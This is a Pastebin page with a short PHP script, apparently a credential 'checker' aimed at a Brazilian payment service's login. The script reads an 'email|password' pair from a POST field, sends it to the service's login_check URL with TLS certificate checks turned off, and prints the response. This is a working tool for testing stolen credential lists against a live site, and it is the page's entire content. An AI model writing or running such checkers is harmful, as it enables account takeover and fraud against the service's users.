Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(!empty($_POST["bin"])){
- $bin = $_POST["bin"];
- $email = explode("|", $bin)[0];
- $senha = explode("|", $bin)[1];
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "https://minhaconta.payleven.com.br/login_check");
- curl_setopt($ch, CURLOPT_COOKIESESSION, true);
- curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
- curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 10);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt ($ch, CURLOPT_POSTFIELDS, '_username=' . urlencode($email) . '&_password=' . urlencode($senha));
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- $dados = curl_exec($ch);
- echo "$dados";
- }else{ echo 'erro'; }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement